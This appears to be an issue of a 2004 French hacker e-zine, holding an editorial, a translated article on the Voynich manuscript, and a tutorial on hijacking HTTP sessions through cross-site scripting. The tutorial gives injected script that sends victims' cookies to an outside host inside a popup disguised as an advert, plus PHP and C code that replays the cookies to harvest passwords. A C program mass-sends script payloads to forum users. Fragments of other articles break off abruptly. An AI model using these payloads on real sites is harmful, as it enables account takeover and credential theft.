Un nouveau collaborateur a rejoins le "staff", il s'agit de Flyers, welcome home ;) Sans lui, ce nouveau opus n'aurait peut-être jamais exister. Merci à toi!
Flyers nous a concocté deux articles aussi bien l'un que l'autre. Le premier intitulé "Frenchy Covert Channel" parle du covert channel (on s'en serai douté), "technique ayant pour but de faire passer au travers d'un firewall des données". Le deuxième article intitulé "Le mystère du manuscrit de Voynich", à mettre dans la section crypto, est une traduction d'un TRES bon article parlant d'une "tentative" de décryptage d'un manuscrit médiéval.

  Quant à sirius_black fidèle à ses habitudes :p , il nous a écris un article sur l'... HTTP, plus précisement sur le "Vol de session HTTP", un article trés complet. Le deuxième article est une traduction d'un article parlant du ver (worm) le plus connu: le Morris Worm un texte tout aussi complet que le précédent. Le troisième article inaugure une nouvel section dans ce mag: Toolz Armory; il s'agit de présenter un outil (un soft) qu'on apprécie ou qu'on souhaite améliorer, dans le cas échéant il s'agit de Lutz un "nmap-like". Enfin, le dernier article est une traduction d'un compte rendu d'un pentest (test d'intrusion).

  Et moi dans tout cela?! bein rien... :p

  Vous aurez peut-être remarquer que l'interface de ce numéro est la même que celle du Lotfree#05. En effet, on nous a reproché le manque de "finition" de l'interface du précédent numéro qui était un peu trop wonderland ;) Qui sait! c'est peut-être pour ça que notre mag n'est pas sur madchat MDR

OS4M4CKERS[chez]imel[point]org

21 Juin 2004

Nouvelle analyse d'un document médiéval connu mais crypté suggérant un contenu inintéressant.

Par Gordon Rugg
Traduit de l'anglais par Flyers

En 1912 Wilfrid Voynich, un américain passioné par l'échange de livres rares, fit la découverte de sa vie dans la bibliothèque d'une université Jésuite proche de Rome : un manuscrit d'environ 230 pages, écrit dans un langage peu commun et richement illustré d' images bizarres de plantes, de sphères merveilleuses et de femmes se baignant. Voynich reconnu immédiatement l'importance de cette nouvelle acquisition. Bien qu'il ressemblait superficiellement aux manuels médiévaux d'alchimie ou d'herberisterie, le manuscrit paraissait être entièrement écrit en code. Certaines spécificités des illustrations, comme les coiffures, suggérait que le livre était paru entre 1470 et 1500, et une lettre du 17ème siècle accompagnant le manuscrit déclarait qu'il avait été rechercher par Rudolph II, le Saint Empereur Romain, en 1586. Durant les années 1600, au moins deux disciples ont apparemment essayés de déchiffrer le manuscrit, puis il a disparu durant environ 250 ans jusqu'à ce que Voynich le déterre.

Voynich demanda aux meilleurs cryptographes de son temps de décoder l'étrange manuscrit, qui ne correspondait à aucuns des langages connus. Mais en dépit de 90 ans d'efforts de quelques un des meilleurs casseurs de code au monde, personne n'a été capable de déchiffrer la découverte de Voynich, ainsi le manuscrit est devenu connu. La nature et l'origine du manuscrit reste un mystère. Les échecs des tentatives de cassage du code a augmenté la suspicion qu'il n'y a aucun cryptage à casser. Le texte de Voynich peut ne contenir aucun message du tout, et le manuscrit peut simplement être un canular élaboré.

Les critiques de cette hypothèse ont argumenté que le manuscrit de Voynich est trop complexe pour ne pas avoir de sens. Comment un farceur médiéval peut écrire 230 pages d'un manuscrit avec autant de régularité dans la structure et la distribution des mots? Mais j'ai récemment découvert que l'on peut répliquer plusieurs des dispositifs remarquables de la découverte de Voynich en utilisant un outil simple de codage qui était disponible au 16ème siècle. Le texte générer par cette technique ressemble plus au texte de Voynich, mais c'est du baragouin, sans aucun message caché. Cette découverte ne prouve pas que le manuscrit de Voynich est un canular, mais il soutient la théorie de longue date qu'un aventurier Anglais appeler Edward Kelley peut avoir concocter le document pour tromper Rudolph II.
(L'empereur proposait de payer la somme de 600 ducats--l'équivalent d'environ 50 000 $ actuel--pour le manuscrit.)

Peut-être plus important, je crois que la méthode utilisée pour l'analyse du mystère Voynich peut être appliquée à d'autres questions compliquées dans d'autres domaines. Aborder ce puzzle nécessite des connaissances dans plusieurs domaines, incluant la cryptographie, les langues et l'histoire médiévale. En tant que chercheur sur le raisonnement--l'étude des processus utilisés pour résoudre des problèmes complexes--j'ai vu mon travail sur le manuscrit de Voynich comme un test informel d'une approche qui peut être utilisée pour identifier de nouvelle voies d'aborder des questions scientifique de longue date. L'étape principale est de déterminer les points forts et les faiblesses de l'expertise dans les domaines appropriés.

[NdT: Le titre original ici était "Baby God's Eye?" comme cette phrase ne voulait rien dire je ne savais pas si je devais la traduire en Bébé l'Oeil de Dieu ou L'Oeil de Dieu de Bébé, j'ai donc trancher pour cette deuxième traduction]
L'Oeil de Dieux de Bébé?
Le premier prétendu décryptage du manuscrit de Voynich apparu en 1921. William R. Newbold, un professeur de philosophie à l'Université de Pennsylvanie, clâma que chaque caractère dans le manuscrit de Voynich contenait les courses minuscules d'un stylo qui ne pouvait être vues que grâce à un effet d'optique et que ces courbes formaient un ancien système stéganographique Grecque. Basé sur sa lecture du code, Newbold déclara que le manuscrit de Voynich avait été écrit par Roger Bacon un philosophe-scientifique du 13ème siècle et décrivant des découvertes tel que l'invention du microscope. Cependant, une décennie plus tard, les critiques ont désavoué la solution de Newbold en montrant que les courbes microscopiques des lettres n'était que des fissures naturelles dans l'encre.

Le manuscrit de Voynich a semblé être un code peu commun, une langue inconnue ou un canular sophistiqué.

La tentative de Newbold n'était que le départ d'une longue série d'échecs. Dans les années 1940 les cryptographes amateurs Joseph M. Feely et Leonell C. Strong ont appliqués un algorithme de substitution qui intégré les lettres Romaines à la place des caractères dans la découverte de Voynich, mais la prétendue traduction semblait ne rien signifier. A la fin de la Seconde Guerre Mondiale les cryptographes de l'armée Américaine qui avait casser les codes du Japanese Imperial Navy ont passés quelques temps sur des textes chiffrés de l'antiquité. L'équipe décrypta chacun d'eux à l'exception du manuscrit de Voynich.

En 1978 John Stojko, déclara que le texte était écrit en Ukrainien sans les voyelles, mais sa traduction--qui incluait des phrases tel que "Le vide est ce pourquoi L'oeil de Dieu de Bébé se bat"--n'était ni en accord avec les illustrations du manuscrit ni avec l'histoire Ukrainienne. En 1987 un physicien nommé Leo Levitov affirmait que le document a été écrit par les Cathars, une secte d'hérétiques qui prospérait en France médiévale, et a été écrit dans un pidgin* composé de mots venant de différents langages. La traduction de Levitov, malgré tout, était en désaccord avec la théologie Cathar suffisament documentée.
(*)pidgin: sytème linguistique composite servant à la communication entre gens de parlers différents

En outre, toutes ces combinaisons utilisaient des méchanismes permettant à un même mot du manuscrit de Voynich d'être traduit d'une manière à un endroit du manuscrit et d'une autre façon dans une autre partie du manuscrit. Par exemple, une étape dans la solution de Newbold impliquait le décryptage d'anagrammes, ce qui est notoirement imprécis: l'anagramme ADER, par exemple, pouvait être interprété comme READ, DARE ou DEAR. La plupart des savants s'accordaient sur le fait que tous les essais de décodage du manuscrit de Voynich étaient teintés d'un degré d'ambiguïté inacceptable. D'ailleurs, aucune de ces méthodes ne pourrait encodé un texte en clair vers un texte crypté avec les propriétés les plus importantes du manuscrit de Voynich.

Si le manuscrit n'est pas un code, peut-il être un langage inconnu? Quoique nous ne puissions pas déchiffrer le texte il présente un ensemble extraordinaire de régularité. Par exemple, les mots les plus communs apparaissent souvent deux fois ou plus dans une ligne. Pour représenter les mots, je vais utiliser l'Alphabet Européen de Voynich (European Voynich Alphabet), une convention pour traduire les caractères du manuscrit de Voynich vers des lettres Romaines. Un exemple tiré du folio 78R du manuscrit où nous lisons: "qokedy qokedy dal qokedy qokedy". Ce degré de répétition est introuvable dans les autres langages connus. Réciproquement, Le manuscrit de Voynich ne contient que très peu de phrases où deux ou trois mots différents apparaissent régulièrement ensemble. Ces caractéristiques font qu'il est peu probable que le langage Voynich soit un langage humain--il est simplement trop différent des autres langues.

La troisième possibilité est que le manuscrit était un canular conçu pour un gain monétaire ou qu'il s'agit de la création d'un quelconque alchimiste fou insignifiant. La complexité linguistique du manuscrit semble contredire cette théorie. En plus des répétitions des mots, il y a différentes régularités dans la structure interne des mots. La syllabe commune "qo", par exemple, n'apparait qu'en début de mot. La syllabe "chek" devrait apparaître au début d'un mot, mais si cela se passe dans le même mot que "qo", alors "qo" vient toujours avant "chek". La syllabe commune "dy" apparait généralement à la fin du mot et occasionnellement au début mais jamais à la fin.

Un simple "pick and mix" canular qui combine les syllabes au hasard ne peut produire un texte avec autant de régularités. Le manuscrit de Voynich est également bien plus complexe que n'importe quel discours pathologique dûe à un dommage cérébral ou de désordres psychologiques. Même si un alchimiste fou avait construit une grammaire depuis un langage inventer et après avait passer des années écrivant un manuscrit employant cette grammaire, le texte en résultant ne partagerait pas les différentes spécificités statistiques de la découverte de Voynich. Par exemple, la taille des mots du manuscrit de Voynich forme une distribution binomiale--qui est, les mots les plus communs ont cinq ou six caractères, et le nombre d'occurence des mots avec plus ou moins de caractères diminue rapidement depuis ce pic en une courbe symétrique en forme de cloche. Ce type de distribution est extrêmement peu courant dans un langage humain. Dans presque toutes les langues humaines, la distribution de la taille des mots est plus large et asymétrique, avec un nombre d'occurence plus grand des mots relativement longs. Il est vraiment inhabituel que la distribution binomiale du texte de Voynich aurait pu être délibérément une partie d'un canular, parce que ce concept statistique n'a été inventé que plusieurs siècles après que le manuscrit fût écrit.

Raisonnement d'expert
En résumé, le manuscrit de Voynich apparaissait comme étant un code extrêmement inhabituel, un langage étrange et inconnu ou un canular sophistiqué, et il n'y avait aucune manière évidente pour résoudre le problème. Il se trouvait que ma collègue Joanne Hyde et moi cherchions un tel puzzle quelques années auparavant. Nous avions développé une méthode pour une réévaluation critique de l'expertise et du raisonnement utilisés lors de la recherche de la résolution de problèmes compliqués. Comme test préliminaire, j'ai appliqué cette méthode aux recherches sur le manuscrit de Voynich. J'ai commencé en déterminant les types d'expertises précédemment appliquées au problème.

L'hypothèse que les spécificités du manuscrit de Voynich est contradictoire à n'importe quel langage humain était basé sur les expertises substantielles appropriées des linguistes. Cette conclusion semblait juste, alors j'ai procédé à l'hypothèse du canular. La plupart des personnes qui ont étudiées le manuscrit de Voynich s'entendait pour dire que le texte de Voynich était trop complexe pour être un canular. J'ai trouver, malgré tout, que cette opinion était plus basée sur des intuitions plutôt que sur des évidences. Il n'y a aucun corps d'expertise sur la façon d'imiter un long texte chiffré médiéval, car il est difficile de trouver des exemples de tels textes, encore moins de canulars de ce genre.

Plusieurs chercheurs, comme Jorge Stolfi de l'Université de Campinas au Brésil, s'était demandé si le manuscrit de Voynich a été réalisé en utilisant un générateur de texte utilisant des tables aléatoires. Ces tables ont des cellules contenant des caractères et des syllabes; l'utilisateur sélectionne une séquence de cellules--peut-être en lançant des dés--et les combines pour former un mot. Cette technique peut générer certaines des régularités dans les mots du texte de Voynich. Avec la méthode de Stolfi, la première colonne de la table peut contenir des syllabes préfixes, comme "qo", apparaissant seulement au début des mots; la deuxième colonne peut contenir des "midfixes" (des syllabes apparaissant au milieu des mots) comme "chek", et la troisième colonne peut contenir des syllabes suffixes comme "y". Le choix d'une syllabe de chaque colonne dans l'ordre produirait des mots avec la structure caractéristique du manuscrit de Voynich. Certaines des cellules doivent être vide, de sorte que l'on puisse créé des mots manquant d'un prefixe, d'un "midfix" ou d'un suffixe.

L'aventurier Edward Kelley a dûe concocter le document pour tromper Rudolph II, le Saint Empereur Romain.

Les autres spécificités du texte de Voynich, malgré tout, ne sont pas facilement reproductibles. Par exemple, certains caractères sont individuellement habituels mais n'apparaissent que rarement à la suite. Les caractères traduits en a, e ou l sont communs, tout comme la combinaison al, mais la combinaison el est très rare. Cet effet ne peut être reproduit en mélangeant aléatoirement les caractères d'une table, ainsi Stolfi et les autres ont rejetés cette approche. Le terme clé ici, quoique, est "aléatoirement". Pour les chercheurs modernes, l'aspect aléatoire est un concept de valeur inestimable. Pourtant c'est un concept développé longtemps après que le manuscrit ait été écrit. Un canular médiéval aurait probablement employé une manière différente de combiner les syllabes qui ne pourraient pas être aléatoires dans le sens statistique strict. J'ai commencé à me demander si certaines des spécificités du texte de Voynich pourraient être la conséquence d'un dispositif obsolète ancien.

La Grille de Cardan
C'était comme si l'hypothèse du canular méritait davantage de recherche. Ma prochaine étape était de tenter de produire un faux document pour voir les attributs du résultat. La première question était, quelle technique utiliser? La réponse dépendait de la date à laquelle le manuscrit fût écrit. Ayant travailler dans l'archéologie, un domaine dans lequel dater les objets est une chose importante, je me méfiais du consensus général des chercheurs ayant travailler sur le document de Voynich disant que le manuscrit avait été créé avant 1500. Il était illustré dans le style de la fin des années 1400, mais cet attribut ne donnait pas la date d'origine du document de façon concluante; les travaux artistiques sont toujours réalisés dans le style d'un peu avant une période, innocemment ou pour faire croire que le document est plus vieux. J'ai donc recherché une technique de codage existante dans la plus grande brochette possible de dates d'origine du manuscrit--entre 1470 et 1608.

Une possibilité prometteuse était la grille de Cardan, qui avait été inventée par le mathématicien Italien Girolamo Cardano en 1550. Elle consiste en une carte avec des fentes découpées dedans. Quand la grille est déposée au-dessus d'un texte apparemment innocent réalisé avec la même copie de la carte, les fentes revèle les mots du message caché.
J'ai réalisé qu'une grille de Cardan avec trois fentes pouvais être utilisée pour choisir les permutations des préfixes, des "midfixes" et des suffixes depuis une table pour générer des mots dans le style de ceux du texte de Voynich.

Une page typique du manuscrit de Voynich contient environ de 10 à 40 lignes, chacune constituée d'environ 12 mots. En utilisant le modèle trois-syllabe du texte de Voynich, une simple table de 36 colonnes et de 40 lignes contiendrait assez de syllabes pour produire une page entière du manuscrit avec une grille simple. La première colonnes listerais les préfixes, la seconde les "midfixes" et la troisième les suffixes; les colonnes suivantes répèteraient ce modèle. Vous pouvez aligner la grille au coin supérieur gauche de la table pour créé le premier mot du texte de Voynich et ensuite la déplacer de trois colonnes vers la droite pour créer le prochain mot. Ou vous pouvez déplacer la grille une colonne plus loin vers la droite ou sur une ligne plus basse. En positionnant successivement la grille au-dessus des différentes parties de la table, vous pouvez créer des centaines de mots comme dans le texte de Voynich. Et la même table peut être utilisée avec une grille différente pour créer les mots de la page suivante.

J'ai élaboré trois tables à la main, ce qui a pris deux ou trois heures par table. Il m'a fallu deux ou trois minutes pour découper chaque grille. (J'en ai fait 10). Après cela, j'ai pu générer du texte aussi vite que je pouvais le transcrire. En tout, j'ai réalisé entre 1 000 et 2 000 mots de cette façon.

J'ai découvert que cette méthode pouvait facilement reproduire la plupart des spécificités du texte de Voynich. Par exemple, vous pouvez vous assurer que certains caractères ne puissent apparaître ensemble en dessinant soigneusement les tables et les grilles. Si les fentes successives de la grille sont toujours sur des lignes différentes, alors les syllabes dans les cellules horizontalement adjacentes dans la table n'apparaîtrons jamais ensemble, même si elles peuvent être habituelles individuellement. La distribution binomiale des tailles des mots peut être générée en mélangeant des syllabes courtes, moyennes et longues dans la table. Une autre caractéristique du texte de Voynich--le fait que le premier mot d'une ligne tend à être plus long que les suivants--peut être reproduit simplement en mettant la pluspart des syllabes longues du côter gauche de la table.

La méthode de la grille de Cardan fait donc apparaître qu'il s'agit d'un mécanisme par lequel le manuscrit de Voynich a pu être créé. Mes reconstitutions suggérent qu'une personne aurait pu produire le manuscrit, en incluant les illustrations, en seulement trois ou quatre mois. Mais une question cruciale reste en suspend: Est-ce que le manuscrit ne contient qu'un baragouin incompréhensible ou un message codé?

J'ai trouvé deux manières d'employer les grilles et les tables pour encoder et décoder du texte en clair. La première était un chiffrement qui convertissait le texte en clair en des syllabes "midfix" qui sont ensuite incorporées dans des préfixes et des suffixes sans signification en utilisant la technique décrite ci-dessus. La seconde technique d'encodage assignait un nombre pour chaque caractère du texte en clair et utilisait ensuite ces nombres pour spécifier le placement de la grille de Cardan au-dessus de la table. Les deux techniques, malgré tout, produisent des textes avec moins de répétition de mots que le texte de Voynich. Cette conclusion indique que la grille de Cardan était en effet utilisée pour créer le manuscrit de Voynich, l'auteur a probablement abilement créé un texte sans aucun sens plutôt qu'un texte crypté. Je n'ai trouvé aucune preuve évidente que le manuscrit contient un message codé.

Cette absence d'évidence ne prouve pas que le manuscrit était un canular, mais mon travail montre que la construction d'un canular aussi complexe que le manuscrit de Voynich était en effet faisable. Cette explication coïncide avec différents faits historiques intrigants: John Dee, un disciple d'Elizabeth, et son déshonorant associer Edward Kelley visitèrent la court de Rudolph II durant les années 1580. Kelley était un forgeur reconnu, mystique et alchimiste qui connaissait les grilles de Cardan. Certains experts du manuscrit de Voynich ont longtemps cruent que Kelley en était l'auteur.

Ma subalterne, l'étudiante Laura Aylward enquête actuellement pour voir si des dispositifs statistiques plus complexes du manuscrit peuvent être reproduit en utilisant la technique de la grille de Cardan. La réponse à cette question nécessitera la production de grandes quantité de texte en utilisant différentes tables et grilles, alors nous écrivons un logiciel permettant d'automatiser la méthode.

Cette étude nous a ouvert de nouveaux horizons quant à la réexamination de problèmes difficiles pour déterminer si des solutions possibles ont été négligées. Un bon exemple d'un tel problème est la question de ce qui cause la maladie d'Alzheimer. Nous planifions d'examiner si notre approche pourrait être utilisée pour réévaluer les recherches précedentes dans ce désordre mental. Nos questions incluerons: les investigateurs ont-ils négligés un champ d'expertise nécessaire? Et y a-t-il quelques subtiles malentendus entre les différentes disciplines mises en application dans ce travail? Si nous pouvons utiliser ce processus pour aider les chercheurs en matière de la maladie d'Alzheimer cela nous permettra de découvrir de nouveaux horizons très prometteurs, alors un manuscrit médiéval qui ressemblait à un manuel d'alchimiste s'avèrerais être un avantage pour la médecine moderne.

GORDON RUGG a commencé à être intéresser par le manuscrit de Voynich il y a de cela quatre ans. Au début il le voyait simplement comme un puzzle intrigant, mais après il le vit comme un essai pour réexaminer des problèmes complexes. Il obtenu son Ph.D. (doctorat) en philosophie à l'Université de Reading en 1987. Maintenant grand conférencier à l'Ecole de Calcul et des Mathématiques (School of Computing and Mathematics) à l'Université de Keele en Angleterre, Rugg est éditeur en chef de "Expert Systems": Le Journal International de l'Ingénierie Cognitive et des Réseaux Neuronnaux. Ses recherches portent sur des sujets comme la nature de l'expertise et le modélage des informations, connaissances et croyances.

Intro

Là vous vous dites "Tu vas voir que cet enculé va nous faire un article de plus sur le XSS"... Et bien vous avez tort ! (ou presque.)
En fait je vais vous décrire la dernière étape de l'exploitation d'une faille XSS. La quasi-totalité des articles sur le sujet ne couvre pas l'exploitation à proprement parler de ce type de failles.
Au mieux on vous donne un script qui récupère les cookies et qui les enregistre dans un fichier.... et après c'est "démerdez-vous !".
Ici je vais décrire une exploitation complète avec vol de session automatique :p

Quelques rappels ?

Le XSS c'est le Cross Script Scripting. Ca consiste a faire exécuter du code javascript dans le navigateur du client. Le truc c'est bien évidemment de trouver un script qui ne filtre pas les variables et va exécuter bêtement ce qu'on lui passe.

Le HTTP et les Cookies : Le gros problème dans le protocole HTTP est qu'il est "stateless". Cela veut dire que d'une page à une autre le serveur aura totalement oublié qui vous êtes. Ce défaut a fait un peu tâche quand des sites ont voulus proposer des services comme les webmails ou les forums qui doivent garder en mémoire l'identité du visiteur tout au long de sa "session".
Alors comme d'habitude, au lieu de tout reprendre au début pour faire un truc qui soit sûr de base, les ingénieurs ont préféré bricoler un truc pas trop mal par dessus le truc déguellase qui existait : ils ont crée les cookies.
Aussitôt les cookies ont été utilisés pour le principe de session. Il faut dire que c'est bien plus discret de mettre l'ID de session dans les cookies que de le passer en argument ou que de le mettre en champ caché dans toutes les pages.

Comment sont envoyés les cookies ?

Les cookies ne sont pas envoyés spécifiquement par la méthode GET ou la méthode POST (heureusement d'ailleurs) ; ils sont tout simplement mis dans les headers HTTP.
Prenons l'exemple de Caramail : vous vous connectez sur le site et vous entrez votre login et votre password. Le serveur vérifie que c'est valide et vous envoie l'identifiant de session qui vous permet d'accèder à vos mails (et surtout d'être le seul à lire vos mails).
L'identifiant de session en question est envoyé par l'en-tête :
Set-Cookie : PHPSESSID=e67d10d30d5b170cc0950ce559632a1a
Ici la variable de session s'appelle PHPSESSID mais son nom pourrait très bien être différent.
Les cookies sont toujours formatés de la forme nom1=valeur1; nom2=valeur2; nom3=valeur3 etc
Par exemple le cookie aurait pu être PHPSESSID=382d3c6ea8a9c23829aa0acc39b0dad9; path=/
avec deux variables.

Quand votre navigateur reçoit l'en-tête Set-Cookie, il enregistre la valeur du cookie en mémoire et surtout l'adresse du serveur qui va avec. Si il ne faisait pas le lien entre les deux, le navigateur pourrait envoyer le cookie à n'importe quel serveur :(

Maintenant que votre navigateur possède le cookie avec l'identifiant de session vous pouvez accèder à votre espace privé. Comme HTTP est stateless votre navigateur doit renvoyer le cookie à chaque requête. Il l'envoit alors avec l'en-tête suivant :
Cookie : PHPSESSID=e67d10d30d5b170cc0950ce559632a1a

Le serveur a lui aussi de son côté un fichier correspondant à votre session. Ainsi lorsque vous cliquez sur "déconnexion" le serveur efface ce fichier et vous ne pouvez plus accèder à votre espace privé.

Vous l'avez deviné, le vol de session HTTP consiste à accèder à cet espace privé en envoyant le cookie valide alors que la session est encore ouverte. Et pour obtenir ce cookie on a recours à la variable javascript document.cookie. Si vous voulez en savoir plus sur l'injection XSS reportez vous à l'article de MindFlayR dans MindKind11.

Du code !! On veut du code !

Pour faire mes tests j'ai programmé une petite zone membre que vous trouverez avec le mag (room.zip.) Cet espace permet aux utilisateurs enregistrés de s'envoyer des messages privés. Premier problème : les messages ne sont pas filtrés et l'injection de code javascript est possible. Second problème : quand on clique sur "Modifier mes infos" le script charge un formulaire déjà remplis :

Il suffit alors d'afficher la source pour avoir le mot de passe de l'utilisateur en clair (ici l'utilisateur root a pour mot de passe "root".)

L'autre utilisateur sur le système (toto) est au courant de cette faille. Il envoie comme message le texte :
Salut root !<script>window.open("http://toto.com/vphp/hack.php?"+document.cookie);</script>
Qui ouvre dans une nouvelle fenêtre la page hack.php sur le site de toto en lui passant comme argument le cookie de root.

Le script en question va alors récupérer le cookie, former une requête HTTP avec ce cookie, demander la page account.php ("Modifier mes infos") et aura ainsi le password de root.
Voivi le code :
<?php
$request = "GET /room/account.php HTTP/1.1\r\n";
$request.= "Host: webmail.com\r\n";
$request.= "Cookie: {$_SERVER['QUERY_STRING']}\r\n";
$request.= "Connection :close\r\n";
$request.= "\r\n";
$s=fsockopen("webmail.com",80,$errno,$errstr,30);
fputs($s,$request);
$content='';
while(!feof($s))
{
  $content.=fgets($s,4096);
}
fclose($s);
$f=fopen("log.txt","a");
fwrite($f,$content);
fclose($f);
?>

Ainsi quand root va lire ses messages il va voir un message de toto lui disant 'Salut root !'. En même temps une fenêtre va s'ouvrir qui va récupérer son cookie, lire sa page account.php et l'enregistrer dans le fichier log.txt du serveur de toto.
Quelques minutes plus tard toto ouvre son fichier log.txt et il voit parmis les lignes :
Password : <input type="password" name="passe" value="root">
Malheureusement il y a plusieurs problèmes... D'abord c'est pas super discret. Il suffit de lire l'adresse de la nouvelle fenêtre pour comprendre le piège. Le truc simple pour rémédier à ce problème c'est de faire passer la fenêtre qui va voler le cookie pour une popup publicitaire.

Toto décide d'améliorer sa technique. Il trouve une image plus ou moins chaude pour faire croire à une pub. L'image fait 165 pixel de largeur et 235 pixel de hauteur. Il modifie ensuite le script qu'il envoie à root :

Salut root !
<script>
window.open("http://toto.com/vphp/hack.php?"+document.cookie,
"",
"toolbar=no,location=no,directories=no,menubar=no,scrollbars=no,status=no,resizable=0,width=165,height=235");
</script>

De cette façon lorsque root lit ses mails une popup sans barre d'adresse, sans possibilité de redimensionnement, sans barre d'état et exactement de la taille de l'image s'affiche. De son côté le php de toto doit être modifié :

<html>
<head><title>S&M Airlines</title></head>
<body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<?php
$request = "GET /room/account.php HTTP/1.1\r\n";
$request.= "Host: webmail.com\r\n";
$request.= "Cookie: {$_SERVER['QUERY_STRING']}\r\n";
$request.= "Connection :close\r\n";
$request.= "\r\n";
$s=fsockopen("webmail.com",80,$errno,$errstr,30);
fputs($s,$request);
$content='';
while(!feof($s))
{
  $content.=fgets($s,4096);
}
fclose($s);
$f=fopen("log.txt","a");
fwrite($f,$content);
fclose($f);
?>
<img src="sm.jpeg">
</body>
</html>

L'ilusion est maintenant parfaite. Root croit qu'il s'agit d'une fenêtre publicitaire. Petit problème : c'est LENT !!!! c'est même super lent ! (pour vous donner un autre d'idée root aurait le temps de fermer 14 popups avant que notre script finisse de charger complétement.) Ça c'est à cause de PHP : les sockets en PHP c'est pas au point. Bref on a le concept, l'algo mais pas le bon langage.
C'est pas grave on va coder un CGI en C :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock.h>

#define	TITLE "Voleur de session"
#define HOST "localhost"
#define URI "/room/account.php"

char x2c(char *what);
void header();
void footer();

int main(int argc, char *argv[])
{
	FILE *out;
	char requete[1024];
	WSADATA wsa;
	SOCKET sock;
	SOCKADDR_IN addr;
	struct hostent *hp;
	char ch;

	char *qs = (char *)malloc(256);
	int x = 0, i = 0, c = 0, f = 0;
	qs = getenv("QUERY_STRING");
	if (qs != NULL){
		/*
		 * Bout de code dont je ne connais pas l'auteur qui
		 * permet de traduire les %xx en leurs caractères.
		 */
		for (x = 0, i = 0; qs[i]; x++, i++) {
			if ((qs[x] = qs[i]) == '%') {
				qs[x] = x2c(&qs[i + 1]);
				i += 2;
			}
		}
		qs[x] = '\0';

		header();

		/*
		 * Here you must put your c0d3 !
		 */
		printf("Ton cookie semble etre :<br>%s<br>\n",qs);

		sprintf(requete,"GET %s HTTP/1.1\n"
			            "Host: %s\nCookie: ",
						URI,
						HOST);
		lstrcat(requete,qs);
		lstrcat(requete,"\nConnection: close\n\n");
		
		printf("Essayons la requete :<br>%s<br>\n",requete);
		
		if(WSAStartup(0x0101,&wsa)!=0)
		{
			printf("Initialisation de winsock impossible!");
			return 0;
		}
		if((hp = gethostbyname(HOST))==0)
		{
			printf("Impossible de trouver %s",HOST);
			return 1;
		}
		
		if((sock = socket(AF_INET, SOCK_STREAM, 0))==-1)
		{
			printf("Pb creation socket");
			return 1;
		}
		addr.sin_addr=*((struct in_addr *)hp->h_addr);
		addr.sin_family=AF_INET;
		addr.sin_port=htons(80);
		
		if(!(connect(sock,(SOCKADDR *)&addr,sizeof(addr))))
		{
			printf("Connexion OK\n<br>");
			send(sock,requete,strlen(requete),0);
			printf("Data sended\n<br>");
			printf("\n");
			out=fopen("file.txt","w");
			while((recv(sock, &ch, 1, 0))==1)
			{
				fputc(ch,out);
			}
			fclose(out);
		}
		else
		{
			printf("Impossible de se connecter\n");
		}
		closesocket(sock);
		WSACleanup();
			  
	}
	footer();
	return 0;
}

char x2c(char *what)
{
	register char digit;
	
	digit = (what[0] >= 'A' ? ((what[0] & 0xdf) - 'A')+10 : (what[0] - '0'));
	digit *= 16;
	digit += (what[1] >= 'A' ? ((what[1] & 0xdf) - 'A')+10 : (what[1] - '0'));
	return (digit);
}

void header() {
	printf("Content-type: text/html\n\n");
	printf("<html>\n<head><title>%s</title></head>\n", TITLE);
	printf("<body>\n<pre>\n");
}

void footer() {
	printf("</pre></body></html>\n");
}

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>

#define DICO_PATH "dico.txt"
#define HOST "localhost"

int main(int argc,char *argv[])
{
    FILE *in;
    char requete[1024];
    int sock;
    struct sockaddr_in addr;
    struct hostent *hp;
    char mot[32];
    char c;
    unsigned int i;

    if((hp=gethostbyname(HOST))==0)
    {
        printf("Impossible de trouver %s.\n",HOST);
        return -1;
    }

    bcopy((char*)hp->h_addr, (char*)&addr.sin_addr, hp->h_length);
    addr.sin_family=hp->h_addrtype;
    addr.sin_port=htons(80);

    if((sock=socket(AF_INET, SOCK_STREAM, 0))==-1)
    {
        perror("Pb socket()");
        return -1;
    }
	
    if((connect(sock,(struct sockaddr*)&addr,sizeof(addr)))!=-1)
    {
        printf("La connexion a ete etablie.\n");
        if(!(in=fopen(DICO_PATH, "r")))
        {
            perror("Ouverture dico.\n");
            close(sock);
            return -1;
        }
        i=0;
        while(!feof(in))
        {
            fread(&c,1,1,in);
            if(c=='\n')
            {
                mot[i]='\0';
                i=0;
                sprintf(requete,
                        "GET /forum/pv.php?login=%s"
                        "&message=<script>alert('bl4h!')</script> HTTP/1.1\n"
                        "Host: %s\n"
                        "Connection: Keep-Alive\n\n",
                        mot,
                        HOST);
                send(sock, requete, strlen(requete), 0);
            }
            else
            {
                mot[i]=c;
                i++;
            }
        }
        fclose(in);
        sprintf(requete,"GET / HTTP/1.1\n"
                "Host: %s\n"
                "Connection: close\n\n",
                HOST);
        send(sock,requete,strlen(requete),0);
    }
    close(sock);
    return 0;
}

Explication générale

Introduction

Exemple : Protocole HTTP

GET http://www.somehost.com/cgi-bin/board.cgi?view=12121212 / HTTP/1.0

User-Agent: Mozilla/5.0 (12121212)

>Accept-Charset: ISO-8859-1,utf-8,ISO-1212-1

X-Microsoft-Plugin: unexpected error #12121212

client.h :
     1	#include <stdio.h>
     2	#include <stdlib.h>
     3	#include <errno.h>
     4	#include <string.h>
     5	#include <netdb.h>
     6	#include <sys/types.h>
     7	#include <netinet/in.h>
     8	#include <sys/socket.h>
       
     9	#define PORT 31337 /* the port client will be connecting to */
    10	#define MAXDATASIZE 1024 /* max number of bytes we can get at once */
       
    11	char *CreateQuery(char *, char *, int);

client.c:
     1	#include "client.h"
     2	int main(int argc, char *argv[])
     3	{
     4	    int sockfd, numbytes, ch;
     5	    char *requete = (char *)malloc(1024*sizeof(char));
     6	    char target[20], uri[80], buf[MAXDATASIZE+1];
     7	    struct hostent *he;
     8	    struct sockaddr_in their_addr; 
     9	    FILE *input;
    10	    
    11	    
    12	    if (argc != 4) {
    13	        fprintf(stderr,"Usage: %s Target Page File\n", argv[0]);
    14	        fprintf(stderr,"Example: %s 195.25.63.78 /index.htm exploit.c\n", argv[0]);
    15	        fprintf(stderr,"Page max size is 80 characters\n");
    16	        fprintf(stderr,"File must contain ascii characters\n\n");
    17	        exit(1);
    18	    }
    19	    
    20	    strncpy(target, argv[1], 17);
    21	    strncpy(uri, argv[2], 79);
    22	    
    23	    if ((he=gethostbyname(target)) == NULL) {  
    24	     	herror("gethostbyname");
    25	     	exit(1);
    26	    }
    27	    
